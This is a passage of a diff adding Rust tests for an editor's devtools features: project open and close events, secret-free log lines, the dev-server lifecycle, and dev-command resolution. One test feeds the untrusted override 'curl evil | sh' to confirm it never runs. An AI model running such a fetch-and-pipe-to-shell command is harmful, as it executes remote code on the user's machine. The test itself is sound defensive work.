+    let app_state = first.app_state();
+    announce.handle(dev_hello("/p/app", 5173), &app_state, cx);
+    panel.handle(panel_hello("/p/app"), &app_state, cx);
+    let web_announce = open_session(4);
+    web_announce.handle(dev_hello("/p/web", 6173), &app_state, cx);
+    other_root_panel.handle(panel_hello("/p/web"), &app_state, cx);
+    announce.drain(cx);
+    panel.drain(cx);
+    other_root_panel.drain(cx);
+
+    first.cx.update(|window, _| window.remove_window());
+    first.cx.run_until_parked();
+    assert!(
+        !has(&announce.drain(cx), "project_closed"),
+        "a window still holds /p/app"
+    );
+    assert!(!has(&panel.drain(cx), "project_closed"));
+    assert_eq!(connected("/p/app", cx).map(|c| c.2), Some(true));
+
+    second.cx.update(|window, _| window.remove_window());
+    second.cx.run_until_parked();
+    assert!(
+        has(&announce.drain(cx), "project_closed"),
+        "R7.1: the announce session"
+    );
+    assert!(
+        has(&panel.drain(cx), "project_closed"),
+        "R7.1: the panel session"
+    );
+    assert!(
+        !has(&other_root_panel.drain(cx), "project_closed"),
+        "another root's panel is untouched"
+    );
+    assert_eq!(connected("/p/app", cx).map(|c| c.2), Some(false));
+}
+
+#[gpui::test]
+async fn reopening_the_project_sends_project_open(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut win = window(&fs, "/p/app", None, cx).await;
+    let app_state = win.app_state();
+    let announce = open_session(1);
+    let panel = open_session(2);
+    announce.handle(dev_hello("/p/app", 5173), &app_state, cx);
+    panel.handle(panel_hello("/p/app"), &app_state, cx);
+    win.cx.update(|window, _| window.remove_window());
+    win.cx.run_until_parked();
+    announce.drain(cx);
+    panel.drain(cx);
+
+    let _again = window(&fs, "/p/app", None, cx).await;
+    assert!(
+        has(&announce.drain(cx), "project_open"),
+        "R7.3: the announce session"
+    );
+    assert!(
+        has(&panel.drain(cx), "project_open"),
+        "R7.3: the panel session"
+    );
+    assert_eq!(connected("/p/app", cx).map(|c| c.2), Some(true));
+}
+
+#[gpui::test]
+async fn hostile_a_panel_hello_gets_the_state_of_the_worktrees_not_of_the_announce(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let app_state = win.app_state();
+
+    // Open in Zeo, no dev server announced: still project_open.
+    let panel = open_session(1);
+    panel.handle(panel_hello("/p/app"), &app_state, cx);
+    assert_eq!(
+        kinds(&panel.drain(cx)),
+        vec!["welcome".to_string(), "project_open".to_string()],
+        "R7.6: admitted without approval, then the current state"
+    );
+    assert!(
+        connected("/p/app", cx).is_none(),
+        "no announce entry was needed"
+    );
+    assert!(is_open("/p/app", cx));
+
+    // Announced, but no window holds the root: project_closed.
+    let announce = open_session(2);
+    announce.handle(dev_hello("/p/web", 6173), &app_state, cx);
+    let late_panel = open_session(3);
+    late_panel.handle(panel_hello("/p/web"), &app_state, cx);
+    assert_eq!(
+        kinds(&late_panel.drain(cx)),
+        vec!["welcome".to_string(), "project_closed".to_string()]
+    );
+    assert!(!is_open("/p/web", cx));
+}
+
+#[gpui::test]
+async fn a_panel_hello_never_waits_for_approval(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let notifications = win.notifications();
+    let panel = open_session(1);
+    panel.handle(panel_hello("/p/app"), &win.app_state(), cx);
+    let got = kinds(&panel.drain(cx));
+    assert!(
+        !got.contains(&"approval_pending".to_string()),
+        "A1: {got:?}"
+    );
+    assert_eq!(win.notifications(), notifications, "A1: no approval prompt");
+}
+
+#[gpui::test]
+async fn an_announce_emits_announced_for_its_root(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let seen = announced(cx);
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app", 5173), &win.app_state(), cx);
+    cx.run_until_parked();
+    assert_eq!(
+        *seen.borrow(),
+        vec![PathBuf::from("/p/app")],
+        "the event tasks 12 and 13 await"
+    );
+}
+
+#[gpui::test]
+async fn hostile_quitting_zeo_closes_every_root_at_once(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let app_state = win.app_state();
+    let app_panel = open_session(1);
+    let web_panel = open_session(2);
+    let app_announce = open_session(3);
+    app_panel.handle(panel_hello("/p/app"), &app_state, cx);
+    web_panel.handle(panel_hello("/p/web"), &app_state, cx);
+    app_announce.handle(dev_hello("/p/app", 5173), &app_state, cx);
+    app_panel.drain(cx);
+    web_panel.drain(cx);
+    app_announce.drain(cx);
+
+    cx.update(|cx| cx.shutdown());
+    assert!(
+        has(&app_panel.drain(cx), "project_closed"),
+        "R7.1: /p/app's panel"
+    );
+    assert!(
+        has(&web_panel.drain(cx), "project_closed"),
+        "R7.1: /p/web's panel too"
+    );
+    assert!(
+        has(&app_announce.drain(cx), "project_closed"),
+        "R7.1: the announce session"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_projects_logs.rs b/crates/agent_ui/src/browser_channel_tests/devtools_projects_logs.rs
new file mode 100644
index 0000000..fa4104d
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_projects_logs.rs
@@ -0,0 +1,177 @@
+// Story 055, task 9.1 — the log lines of the connected projects (design.md §B2; R9.1, R9.2 on
+// Zeo's side; Q15). Wired INSIDE `src/browser_channel.rs`, so its path matches the Validation
+// filter `cargo test -p agent_ui devtools_projects`, and it reads the lines back through the
+// channel's own thread-local capture (`logged_lines`): a test binary can install one process-wide
+// logger only, and story 031's suite already owns it.
+//
+// Hostile halves first:
+//   - one line per TRANSITION, not one per session told: a root with an announce and a panel
+//     closing logs one `project_closed`, naming the root;
+//   - R9.2: the announce's URLs carry a query with a secret, and no line carries the query, the
+//     URL, or anything after a `?`;
+//   - a root with a space is still one `key=value` field: quoted, never split.
+
+use std::path::Path;
+
+use gpui::TestAppContext;
+use serde_json::{Value, json};
+
+use super::test_support::*;
+use super::{close_session, logged_lines};
+
+const SECRET_QUERY: &str = "token=secret-query-7c1";
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2,
+        "kind": "hello",
+        "id": "h",
+        "client": {
+            "kind": "dev_server",
+            "root": root,
+            "app_url": format!("http://localhost:5173/page?{SECRET_QUERY}"),
+            "panel_url": format!("http://localhost:5174/?{SECRET_QUERY}")
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+fn project_lines() -> Vec<String> {
+    logged_lines()
+        .into_iter()
+        .filter(|line| line.starts_with("devtools_projects "))
+        .collect()
+}
+
+fn lines_of(event: &str) -> Vec<String> {
+    let token = format!("event={event} ");
+    project_lines()
+        .into_iter()
+        .filter(|line| line.contains(&token))
+        .collect()
+}
+
+/// The tokens after `event=` must all be `key=value`, a value either bare (no space) or quoted.
+fn assert_key_values(line: &str) {
+    let start = line
+        .find("event=")
+        .unwrap_or_else(|| panic!("a line names its event: {line}"));
+    let mut rest = &line[start..];
+    while !rest.is_empty() {
+        rest = rest.trim_start();
+        if rest.is_empty() {
+            break;
+        }
+        let eq = rest
+            .find('=')
+            .unwrap_or_else(|| panic!("not key=value at {rest:?} in {line}"));
+        let key = &rest[..eq];
+        assert!(
+            !key.is_empty() && key.chars().all(|c| c.is_ascii_lowercase() || c == '_'),
+            "bad key {key:?} in {line}"
+        );
+        let value = &rest[eq + 1..];
+        if let Some(quoted) = value.strip_prefix('"') {
+            let end = quoted
+                .find('"')
+                .unwrap_or_else(|| panic!("unterminated quote in {line}"));
+            rest = &quoted[end + 1..];
+        } else {
+            let end = value.find(' ').unwrap_or(value.len());
+            assert!(end > 0, "empty value for {key} in {line}");
+            rest = &value[end..];
+        }
+    }
+}
+
+#[gpui::test]
+async fn hostile_each_transition_logs_one_key_value_line_with_its_root_and_no_url(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut win = window(&fs, "/p/app", None, cx).await;
+    let app_state = win.app_state();
+    let announce = open_session(1);
+    let panel = open_session(2);
+    announce.handle(dev_hello("/p/app"), &app_state, cx);
+    panel.handle(panel_hello("/p/app"), &app_state, cx);
+    assert_eq!(
+        lines_of("project_announced").len(),
+        1,
+        "R9.1: the announce is logged: {:#?}",
+        project_lines()
+    );
+    assert_eq!(
+        lines_of("panel_opened").len(),
+        1,
+        "R9.1: the panel session opening is logged"
+    );
+
+    win.cx.update(|window, _| window.remove_window());
+    win.cx.run_until_parked();
+    let closed = lines_of("project_closed");
+    assert_eq!(
+        closed.len(),
+        1,
+        "one line per transition, not one per session told: {closed:#?}"
+    );
+    assert!(closed[0].contains(" root=/p/app "), "{}", closed[0]);
+    assert!(closed[0].contains(" sessions=2 "), "{}", closed[0]);
+
+    let _again = window(&fs, "/p/app", None, cx).await;
+    let opened = lines_of("project_open");
+    assert_eq!(opened.len(), 1, "{opened:#?}");
+    assert!(opened[0].contains(" root=/p/app "), "{}", opened[0]);
+
+    cx.update(|cx| close_session(panel.id.clone(), cx));
+    cx.update(|cx| close_session(announce.id.clone(), cx));
+    cx.run_until_parked();
+    assert_eq!(lines_of("panel_closed").len(), 1, "R9.1: the panel close");
+    assert_eq!(lines_of("project_removed").len(), 1, "R2.4 is logged");
+
+    let lines = project_lines();
+    for line in &lines {
+        assert!(
+            line.contains(" root=/p/app "),
+            "every line names its root: {line}"
+        );
+        assert!(
+            !line.contains(SECRET_QUERY),
+            "R9.2: URL query logged: {line}"
+        );
+        assert!(!line.contains('?'), "R9.2: a query logged: {line}");
+        assert!(!line.contains("http"), "R9.2: a URL logged: {line}");
+        assert_key_values(line);
+    }
+}
+
+#[gpui::test]
+async fn hostile_a_root_with_a_space_stays_one_quoted_field(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    fs.insert_tree("/p/my app", json!({ "c.txt": "" })).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/my app"), &win.app_state(), cx);
+    cx.update(|cx| {
+        assert!(
+            crate::devtools_projects::DevtoolsProjects::global(cx)
+                .read(cx)
+                .project_for(Path::new("/p/my app"))
+                .is_some()
+        )
+    });
+
+    let lines = lines_of("project_announced");
+    assert_eq!(lines.len(), 1, "{lines:#?}");
+    assert!(
+        lines[0].contains(r#" root="/p/my app" "#),
+        "the root is quoted: {}",
+        lines[0]
+    );
+    assert_key_values(&lines[0]);
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_run_lifecycle.rs b/crates/agent_ui/src/browser_channel_tests/devtools_run_lifecycle.rs
new file mode 100644
index 0000000..8f9b1d4
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_run_lifecycle.rs
@@ -0,0 +1,295 @@
+// Story 055, task 12.2 — `devtools: start` runs, de-duplicates, times out and stops
+// (design.md §B5, GOTCHA G5). Requirements: R1.1, R1.5, R1.6, R1.7, R1.8, R7.4 (Q4, Q5). Wired
+// INSIDE `src/browser_channel.rs` (path `browser_channel::devtools_run_lifecycle::…`, filter
+// `cargo test -p agent_ui devtools_run`):
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_run_lifecycle.rs"]
+//     mod devtools_run_lifecycle;
+//
+// The terminal is a recording fake `workspace::TerminalProvider` (the pattern of workspace's own
+// `tasks.rs` tests): it records each `SpawnInTerminal` and keeps the "process" running until the
+// test ends it, so de-duplication is observable without a PTY.
+// Seams — each named in ONE helper below (`start()`, `stop()`, `started_by_zeo()`):
+//   - `crate::devtools_run::start(workspace, window, cx) -> StartOutcome` and
+//     `crate::devtools_run::stop(workspace, window, cx)` — what `devtools::Start` /
+//     `devtools::Stop` call for the workspace's root. `StartOutcome` is read only through its
+//     `Debug` text: the focus branch of R1.5 must say `Focus` (e.g. `FocusedRunning`);
+//   - `crate::devtools_run::started_by_zeo(root: &Path, cx: &App) -> bool` — B5 owns the set of
+//     roots it started (design.md §B5); B2's `ConnectedProject` does not carry it.
+// Scope note (⚠ Fidelity): with a fake provider there is no `TerminalPanel` and no terminal item, so
+// R1.5's visible focus and the terminal actually closing (R1.7, R7.4, G5) are proved here only up
+// to B5's decision — the focus branch taken, the root no longer started by Zeo. The process being
+// gone is task 16.2's `pgrep` check.
+//
+// Hostile halves first:
+//   - de-duplication is "while it is still running": a second start during the run hands NOTHING to
+//     the terminal provider — re-scheduling the same task is not focusing it, because Zed's
+//     terminal panel defers a non-concurrent rerun and starts it again when the first one ends —
+//     and a start after the run ended spawns again (wrongly blocked forever by a once-per-project
+//     flag);
+//   - the 60 s timeout: nothing at 59 s, one notification just after 60 s; `Announced(root)` at
+//     30 s cancels it;
+//   - stop is per origin: `devtools: stop` ends the server Zeo started, while for a root whose dev
+//     server the operator started by hand it stops nothing — the hand-started announce session
+//     stays — and says "No dev server started by Zeo for this project" (R1.8);
+//   - started_by_zeo is per root: only the root Zeo started is marked, not a root another dev
+//     server announced on its own.
+
+use std::path::Path;
+use std::process::ExitStatus;
+use std::sync::{Arc, Mutex};
+use std::time::Duration;
+
+use gpui::{App, AppContext as _, Task, TestAppContext, Window};
+use serde_json::{Value, json};
+use task::{RevealStrategy, SpawnInTerminal};
+use workspace::TerminalProvider;
+
+use super::test_support::*;
+
+#[derive(Clone, Default)]
+struct Recorder {
+    spawned: Arc<Mutex<Vec<SpawnInTerminal>>>,
+    exits: Arc<Mutex<Vec<smol::channel::Sender<()>>>>,
+}
+
+impl Recorder {
+    fn count(&self) -> usize {
+        self.spawned.lock().expect("lock").len()
+    }
+    fn last(&self) -> SpawnInTerminal {
+        self.spawned
+            .lock()
+            .expect("lock")
+            .last()
+            .cloned()
+            .expect("a spawn")
+    }
+    /// Ends every running fake process.
+    fn exit_all(&self) {
+        for tx in self.exits.lock().expect("lock").drain(..) {
+            tx.try_send(()).ok();
+        }
+    }
+}
+
+struct FakeTerminals(Recorder);
+
+impl TerminalProvider for FakeTerminals {
+    fn spawn(
+        &self,
+        task: SpawnInTerminal,
+        _window: &mut Window,
+        cx: &mut App,
+    ) -> Task<Option<anyhow::Result<ExitStatus>>> {
+        self.0.spawned.lock().expect("lock").push(task);
+        let (tx, rx) = smol::channel::bounded::<()>(1);
+        self.0.exits.lock().expect("lock").push(tx);
+        cx.background_spawn(async move {
+            rx.recv().await.ok();
+            Some(Ok(ExitStatus::default()))
+        })
+    }
+}
+
+async fn app_window(cx: &mut TestAppContext, root: &str, files: Value) -> (Win, Recorder) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    fs.insert_tree(root, files).await;
+    let mut win = window(&fs, root, None, cx).await;
+    let recorder = Recorder::default();
+    let provider = FakeTerminals(recorder.clone());
+    win.workspace.update(&mut win.cx, |workspace, _| {
+        workspace.set_terminal_provider(provider)
+    });
+    (win, recorder)
+}
+
+fn start(win: &mut Win) -> String {
+    let outcome = win
+        .workspace
+        .update_in(&mut win.cx, |workspace, window, cx| {
+            crate::devtools_run::start(workspace, window, cx)
+        });
+    win.cx.run_until_parked();
+    format!("{outcome:?}")
+}
+
+fn stop(win: &mut Win) {
+    win.workspace
+        .update_in(&mut win.cx, |workspace, window, cx| {
+            crate::devtools_run::stop(workspace, window, cx)
+        });
+    win.cx.run_until_parked();
+}
+
+fn started_by_zeo(root: &str, cx: &mut TestAppContext) -> bool {
+    cx.update(|cx| crate::devtools_run::started_by_zeo(Path::new(root), cx))
+}
+
+fn package() -> Value {
+    json!({ "package.json": json!({ "scripts": { "dev": "vite" } }).to_string(), "pnpm-lock.yaml": "" })
+}
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": "http://localhost:5174"
+        }
+    })
+}
+
+#[gpui::test]
+async fn start_runs_the_dev_script_as_the_designed_task(cx: &mut TestAppContext) {
+    let (mut win, terminals) = app_window(cx, "/r/app", package()).await;
+    start(&mut win);
+    assert_eq!(terminals.count(), 1, "R1.1");
+    let task = terminals.last();
+    assert_eq!(task.label, "devtools: dev server");
+    assert_eq!(task.cwd.as_deref(), Some(Path::new("/r/app")));
+    let line = format!(
+        "{} {}",
+        task.command.clone().unwrap_or_default(),
+        task.args.join(" ")
+    );
+    assert!(
+        line.contains("pnpm") && line.contains("run dev"),
+        "R1.1: {line}"
+    );
+    assert!(task.use_new_terminal);
+    assert!(!task.allow_concurrent_runs);
+    assert_eq!(task.reveal, RevealStrategy::NoFocus);
+}
+
+#[gpui::test]
+async fn hostile_a_second_start_while_running_spawns_nothing_but_after_exit_it_runs_again(
+    cx: &mut TestAppContext,
+) {
+    let (mut win, terminals) = app_window(cx, "/r/app", package()).await;
+    start(&mut win);
+    let again = start(&mut win);
+    assert_eq!(
+        terminals.count(),
+        1,
+        "R1.5: no second dev server, not even a deferred rerun"
+    );
+    assert!(
+        again.contains("Focus"),
+        "R1.5: the running terminal is focused: {again}"
+    );
+    terminals.exit_all();
+    win.cx.run_until_parked();
+    start(&mut win);
+    assert_eq!(
+        terminals.count(),
+        2,
+        "the first one ended: start runs again"
+    );
+}
+
+#[gpui::test]
+async fn hostile_the_announce_timeout_fires_after_60_seconds_not_before(cx: &mut TestAppContext) {
+    let (mut win, _terminals) = app_window(cx, "/r/app", package()).await;
+    let before = win.notifications();
+    start(&mut win);
+    win.cx.executor().advance_clock(Duration::from_secs(59));
+    win.cx.run_until_parked();
+    assert_eq!(win.notifications(), before, "nothing at 59 s");
+    win.cx.executor().advance_clock(Duration::from_secs(2));
+    win.cx.run_until_parked();
+    assert_eq!(
+        win.notifications(),
+        before + 1,
+        "R1.6: one notification after 60 s"
+    );
+}
+
+#[gpui::test]
+async fn an_announce_within_60_seconds_cancels_the_timeout(cx: &mut TestAppContext) {
+    let (mut win, _terminals) = app_window(cx, "/r/app", package()).await;
+    let before = win.notifications();
+    start(&mut win);
+    win.cx.executor().advance_clock(Duration::from_secs(30));
+    let announce = open_session(1);
+    announce.handle(dev_hello("/r/app"), &win.app_state(), cx);
+    win.cx.executor().advance_clock(Duration::from_secs(40));
+    win.cx.run_until_parked();
+    assert_eq!(win.notifications(), before, "announced in time: no warning");
+}
+
+#[gpui::test]
+async fn no_dev_script_starts_nothing_and_says_so(cx: &mut TestAppContext) {
+    let (mut win, terminals) = app_window(cx, "/r/app", json!({ "README.md": "" })).await;
+    let before = win.notifications();
+    start(&mut win);
+    assert_eq!(terminals.count(), 0, "R1.4");
+    assert_eq!(
+        win.notifications(),
+        before + 1,
+        "R1.4: the operator is told"
+    );
+}
+
+#[gpui::test]
+async fn hostile_only_the_root_zeo_started_is_started_by_zeo(cx: &mut TestAppContext) {
+    let (mut win, _terminals) = app_window(cx, "/r/app", package()).await;
+    start(&mut win);
+    let zeo_started = open_session(1);
+    zeo_started.handle(dev_hello("/r/app"), &win.app_state(), cx);
+    // A dev server the operator started by hand, announcing a root Zeo never started (it need not
+    // be open in a window to announce).
+    let by_hand = open_session(2);
+    by_hand.handle(dev_hello("/p/app"), &win.app_state(), cx);
+    assert!(
+        started_by_zeo("/r/app", cx),
+        "R7.4: Zeo stops this one with the project"
+    );
+    assert!(!started_by_zeo("/p/app", cx), "R7.4: never this one");
+}
+
+#[gpui::test]
+async fn stop_ends_the_server_zeo_started(cx: &mut TestAppContext) {
+    let (mut win, terminals) = app_window(cx, "/r/app", package()).await;
+    start(&mut win);
+    assert!(started_by_zeo("/r/app", cx));
+    let before = win.notifications();
+    stop(&mut win);
+    assert!(
+        !started_by_zeo("/r/app", cx),
+        "R1.7: no longer a server Zeo runs"
+    );
+    assert_eq!(
+        win.notifications(),
+        before,
+        "R1.7: a real stop needs no notice"
+    );
+    start(&mut win);
+    assert_eq!(
+        terminals.count(),
+        2,
+        "stopped: the next start runs a new one"
+    );
+}
+
+#[gpui::test]
+async fn hostile_stop_never_touches_a_hand_started_server(cx: &mut TestAppContext) {
+    let (mut win, terminals) = app_window(cx, "/r/app", package()).await;
+    let by_hand = open_session(1);
+    by_hand.handle(dev_hello("/r/app"), &win.app_state(), cx);
+    by_hand.drain(cx);
+    let before = win.notifications();
+    stop(&mut win);
+    assert_eq!(
+        win.notifications(),
+        before + 1,
+        "R1.8: \"No dev server started by Zeo for this project\""
+    );
+    assert!(
+        !by_hand.closed(),
+        "R1.8: the operator's dev server keeps its session"
+    );
+    assert_eq!(terminals.count(), 0, "nothing started, nothing stopped");
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_run_resolve.rs b/crates/agent_ui/src/browser_channel_tests/devtools_run_resolve.rs
new file mode 100644
index 0000000..5a518e5
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_run_resolve.rs
@@ -0,0 +1,205 @@
+// Story 055, task 12.1 — which command `devtools: start` runs (design.md §B5, §B7, §Security
+// "Code execution from a project file"). Requirements: R1.1, R1.2, R1.3, R1.4 (Q4, Q5).
+// Wired INSIDE `src/browser_channel.rs` beside 045's modules (it reuses `test_support::init`), so
+// the path `browser_channel::devtools_run_resolve::…` matches the Validation filter
+// `cargo test -p agent_ui devtools_run`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_run_resolve.rs"]
+//     mod devtools_run_resolve;
+//
+// Assumed seam — the ONLY lines naming it are in `resolve()` below; adjust there if it moved:
+//   `crate::devtools_run::resolve_dev_command(fs: &dyn Fs, root: &Path, dev_command:
+//   Option<String>, trusted: bool) -> impl Future<Output = anyhow::Result<ResolvedDevCommand>>`,
+//   where `ResolvedDevCommand` gives the command line it will run (`command_line()`) and the
+//   notification text when a project override was ignored (`notice: Option<String>`).
+//   Whether the trust bit comes from `TrustedWorktrees` is task 12.2's wiring; here it is an input.
+//
+// Hostile halves first:
+//   - detection order is a precedence, so each tie is tested in the direction that breaks a wrong
+//     order: `packageManager` beats every lockfile; `bun.lock` beats `pnpm-lock.yaml`;
+//     `pnpm-lock.yaml` beats `yarn.lock`; and `bun.lockb` (the binary lockfile) counts as bun;
+//   - "a dev script" is `scripts.dev` exactly: `dev:server`, `predev` or a top-level `dev` key are
+//     NOT one (wrongly accepted by a prefix or a whole-file search);
+//   - trust: an UNTRUSTED override never runs, and with no dev script nothing runs at all; a
+//     TRUSTED override runs even where no package.json exists.
+
+use std::path::Path;
+use std::sync::Arc;
+
+use fs::FakeFs;
+use gpui::TestAppContext;
+use serde_json::json;
+
+use super::test_support::*;
+
+const NO_DEV_SCRIPT: &str = "This project has no dev script";
+
+async fn resolve(
+    fs: &Arc<FakeFs>,
+    root: &str,
+    dev_command: Option<&str>,
+    trusted: bool,
+) -> Result<(String, Option<String>), String> {
+    crate::devtools_run::resolve_dev_command(
+        fs.as_ref(),
+        Path::new(root),
+        dev_command.map(str::to_string),
+        trusted,
+    )
+    .await
+    .map(|resolved| (resolved.command_line(), resolved.notice))
+    .map_err(|error| format!("{error:#}"))
+}
+
+async fn project(fs: &Arc<FakeFs>, root: &str, files: serde_json::Value) {
+    fs.insert_tree(root, files).await;
+}
+
+fn package(extra: serde_json::Value) -> String {
+    let mut base = json!({ "name": "app", "scripts": { "dev": "vite" } });
+    base.as_object_mut()
+        .expect("object")
+        .extend(extra.as_object().cloned().unwrap_or_default());
+    base.to_string()
+}
+
+#[gpui::test]
+async fn hostile_package_manager_field_beats_every_lockfile(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    project(
+        &fs,
+        "/r/pm",
+        json!({
+            "package.json": package(json!({ "packageManager": "pnpm@9.12.0" })),
+            "bun.lock": "", "yarn.lock": "", "package-lock.json": "{}"
+        }),
+    )
+    .await;
+    assert_eq!(
+        resolve(&fs, "/r/pm", None, true).await.map(|r| r.0),
+        Ok("pnpm run dev".into())
+    );
+    project(
+        &fs,
+        "/r/yarn-hash",
+        json!({
+            "package.json": package(json!({ "packageManager": "yarn@4.5.0+sha512.0123abcd" })),
+            "pnpm-lock.yaml": ""
+        }),
+    )
+    .await;
+    assert_eq!(
+        resolve(&fs, "/r/yarn-hash", None, true).await.map(|r| r.0),
+        Ok("yarn run dev".into()),
+        "a corepack hash suffix is still yarn"
+    );
+}
+
+#[gpui::test]
+async fn hostile_lockfile_precedence_bun_then_pnpm_then_yarn_then_npm(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    project(
+        &fs,
+        "/r/bun-pnpm",
+        json!({ "package.json": package(json!({})), "bun.lock": "", "pnpm-lock.yaml": "" }),
+    )
+    .await;
+    project(
+        &fs,
+        "/r/bunb",
+        json!({ "package.json": package(json!({})), "bun.lockb": "\u{0}" }),
+    )
+    .await;
+    project(
+        &fs,
+        "/r/pnpm-yarn",
+        json!({ "package.json": package(json!({})), "pnpm-lock.yaml": "", "yarn.lock": "" }),
+    )
+    .await;
+    project(
+        &fs,
+        "/r/yarn",
+        json!({ "package.json": package(json!({})), "yarn.lock": "" }),
+    )
+    .await;
+    project(&fs, "/r/npm", json!({ "package.json": package(json!({})) })).await;
+    for (root, expected) in [
+        ("/r/bun-pnpm", "bun run dev"),
+        ("/r/bunb", "bun run dev"),
+        ("/r/pnpm-yarn", "pnpm run dev"),
+        ("/r/yarn", "yarn run dev"),
+        ("/r/npm", "npm run dev"),
+    ] {
+        assert_eq!(
+            resolve(&fs, root, None, true).await.map(|r| r.0),
+            Ok(expected.to_string()),
+            "{root}"
+        );
+    }
+}
+
+#[gpui::test]
+async fn hostile_only_scripts_dev_is_a_dev_script(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    project(&fs, "/r/near", json!({ "package.json": json!({ "scripts": { "dev:server": "vite", "predev": "x" } }).to_string() })).await;
+    project(&fs, "/r/top", json!({ "package.json": json!({ "dev": "vite", "scripts": { "build": "vite build" } }).to_string() })).await;
+    project(&fs, "/r/none", json!({ "src": { "a.ts": "" } })).await;
+    project(&fs, "/r/broken", json!({ "package.json": "{ not json" })).await;
+    for root in ["/r/near", "/r/top", "/r/none", "/r/broken"] {
+        let got = resolve(&fs, root, None, true).await;
+        assert!(
+            matches!(&got, Err(message) if message.contains(NO_DEV_SCRIPT)),
+            "R1.4 {root}: {got:?}"
+        );
+    }
+}
+
+#[gpui::test]
+async fn hostile_an_untrusted_override_never_runs(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    project(&fs, "/r/app", json!({ "package.json": package(json!({})) })).await;
+    let (command, notice) = resolve(&fs, "/r/app", Some("curl evil | sh"), false)
+        .await
+        .expect("falls back to the dev script");
+    assert_eq!(command, "npm run dev", "R1.3");
+    assert!(!command.contains("curl"));
+    let notice = notice.expect("R1.3: the operator is told why");
+    assert!(notice.to_lowercase().contains("trust"), "{notice}");
+
+    project(&fs, "/r/bare", json!({ "README.md": "" })).await;
+    let got = resolve(&fs, "/r/bare", Some("curl evil | sh"), false).await;
+    assert!(
+        matches!(&got, Err(message) if message.contains(NO_DEV_SCRIPT)),
+        "R1.4: no dev script and no TRUSTED override: {got:?}"
+    );
+}
+
+#[gpui::test]
+async fn a_trusted_override_runs_instead_of_the_dev_script(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    project(
+        &fs,
+        "/r/app2",
+        json!({ "package.json": package(json!({})), "pnpm-lock.yaml": "" }),
+    )
+    .await;
+    assert_eq!(
+        resolve(&fs, "/r/app2", Some("make serve"), true).await,
+        Ok(("make serve".to_string(), None)),
+        "R1.2"
+    );
+    project(&fs, "/r/no-node", json!({ "Makefile": "" })).await;
+    assert_eq!(
+        resolve(&fs, "/r/no-node", Some("make serve"), true)
+            .await
+            .map(|r| r.0),
+        Ok("make serve".to_string()),
+        "a trusted override needs no package.json"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_threads.rs b/crates/agent_ui/src/browser_channel_tests/devtools_threads.rs
new file mode 100644
index 0000000..96c46fd
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_threads.rs
@@ -0,0 +1,345 @@
+// Story 055, task 10.2 — devtools threads: create, mark, promote, list, load (design.md §B3, D4,
+// GOTCHA G7, G8, Assumption A2). Requirements: R5.1, R5.2, R5.3, R5.4, R5.6, R8.3 (Q4, Q5).
+// Wired INSIDE `src/browser_channel.rs` beside 045's modules (it reuses `test_support`), so the
+// paths match the Validation filter `cargo test -p agent_ui devtools_threads`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_threads.rs"]
+//     mod devtools_threads;
+//
+// Assumed seams (design.md §B3 Interface) — the ONLY lines naming them are in the `seam` module
+// below; adjust them there if a signature moved:
+//   - `crate::devtools_threads::create(root: &Path, cx: &mut App) -> Task<Result<ThreadInfo>>`
+//     (the window is resolved by root inside, per §B3), answering after the connection is ready;
+//   - `crate::devtools_threads::list(root: &Path, cx: &App) -> Vec<ThreadInfo>`;
+//   - `crate::devtools_threads::is_devtools_of(thread_id: &str, root: &Path, cx: &App) -> bool`
+//     (`thread_id` in wire form, `ThreadId::to_key_string`);
+//   - `crate::devtools_threads::ensure_loaded(thread_id: &str, cx: &mut App) -> Task<Result<()>>`;
+//   - `DevtoolsThreads::global(cx).read(cx).is_devtools(ThreadId) -> Option<PathBuf>` (memory ∪
+//     store; what the sidebar's badge reads, design.md §B3/§B8);
+//   - the persisted mark is `ThreadOrganization::devtools_root` (task 10.1), written on promotion
+//     through `ThreadOrganizationStore::set_devtools_root(thread_id, root)`.
+// Promotion is triggered the way design §B3 says it happens: the first `ThreadMetadataStore` save
+// carrying a `session_id` for the marked thread.
+//
